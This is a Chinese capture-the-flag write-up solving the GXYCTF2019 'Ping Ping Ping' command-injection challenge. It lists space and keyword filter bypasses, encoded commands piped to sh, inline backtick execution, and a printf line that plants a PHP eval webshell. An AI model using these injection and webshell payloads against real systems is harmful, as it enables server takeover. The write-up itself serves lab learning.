zoukankan      html  css  js  c++  java
  • BUUCTF | [GXYCTF2019]Ping Ping Ping

    知识点:

    命令执行变量拼接

    /?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

    拼接绕过↓

    1 #执行ls命令:
    2 a=l;b=s;$a$b
    3 #cat flag文件内容:
    4 a=c;b=at;c=f;d=lag;$a$b ${c}${d}
    5 #cat test文件内容
    6 a="ccaatt";b=${a:0:1}${a:2:1}${a:4:1};$b test

    过滤bash用sh执行

    echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
    编码绕过↓
     1 #base64
     2 echo "Y2F0IC9mbGFn"|base64 -d|bash ==>cat /flag
     3 echo Y2F0IC9mbGFn|base64 -d|sh==>cat /flag
     4 #hex
     5 echo "0x636174202f666c6167" | xxd -r -p|bash ==>cat /flag
     6 #oct/字节
     7 $(printf "154163") ==>ls
     8 $(printf "x63x61x74x20x2fx66x6cx61x67") ==>cat /flag
     9 {printf,"x63x61x74x20x2fx66x6cx61x67"}|$0 ==>cat /flag
    10 #i也可以通过这种方式写马
    11 内容为<?php @eval($_POST['c']);?>
    12 ${printf,"7477160150160401001451661411545044137120117123124133471434713551737776"} >> 1.php

    内联执行

    内联执行将反引号内命令的输出作为输入执行,类似的还有$(command)

    ?ip=127.0.0.1;cat$IFS$9`ls`

    解题思路:

    打开题目命令执行的方法大抵是加上管道符或者分号,那么试试管道符

    ——> /?ip=127.0.0.1|ls

    我们看到flag.php与index.php两个php文件。我们试着读flag.php

    看到提示空格被ban(禁用)绕过空格的方法大概有以下几种:

    方法1:${IFS}

    payload1:

    1 root@kali:~# cat flag
    2 this is your flag
    3 root@kali:~# cat${IFS}flag
    4 this is your flag

    payload2:

    1 root@kali:~# cat${IFS}$1flag
    2 this is your flag

    payload3:

    1 root@kali:~# cat$IFS$1flag //$1改成$加其他数字貌似都行
    2 this is your flag

    方法2:重定向符<>

    payload1:

    1 root@kali:~# cat<>flag
    2 this is your flag

    payload2:

    1 root@kali:~# cat<flag
    2 this is your flag

    方法3:%09(需要php环境) 与 %20

    payload1:

    1 127.0.0.1/lixing.php?x=cat%09/root/flag

    payload2:

    127.0.0.1/lixing?x=cat%20/root/flag
    接下来输入——> ?/ip=127.0.0.1|cat${IFS}$1flag发现{被禁用了

    尝试空格用$IFS$1代替输入——> ?/ip=127.0.0.1|cat$IFS$1flag发现flag被禁用了

    尝试先来试着读取一下index.php发现过滤了许多标点,空格,bash,包括flag的贪婪匹配。

    那么自己印象中几种做法:

    1.cat fl* 利用*匹配任意 不行

    2.echo "Y2F0IGZsYWcucGhw"| base64 -d | bash 也不行

    3.ca flag.php 不行

    4.cat fl''ag.php 不行

    解决办法:

    变量拼接↓

    我们看到源码中有一个$a变量可以覆盖

    ——> /?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

    结尾:
    过滤bash?那就用sh。sh的大部分脚本都可以在bash下运行。

    echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
    

    内联执行的做法:

    ?ip=127.0.0.1;cat$IFS$9`ls`
    

    内联,就是将反引号内命令的输出作为输入执行
    参考链接:

  • 相关阅读:
    课堂作业04 2017.10.27
    课程作业 03 动手动脑 2017.10.20
    课程作业 03 2017.10.20
    HDU 3974 Assign the task
    POJ 2155 Matrix
    POJ 2481 Cows
    HDU 3038 How Many Answers Are Wrong
    CS Academy Array Removal
    POJ_1330 Nearest Common Ancestors LCA
    CF Round 427 D. Palindromic characteristics
  • 原文地址:https://www.cnblogs.com/SpouseLJ/p/13223953.html
Copyright © 2011-2022 走看看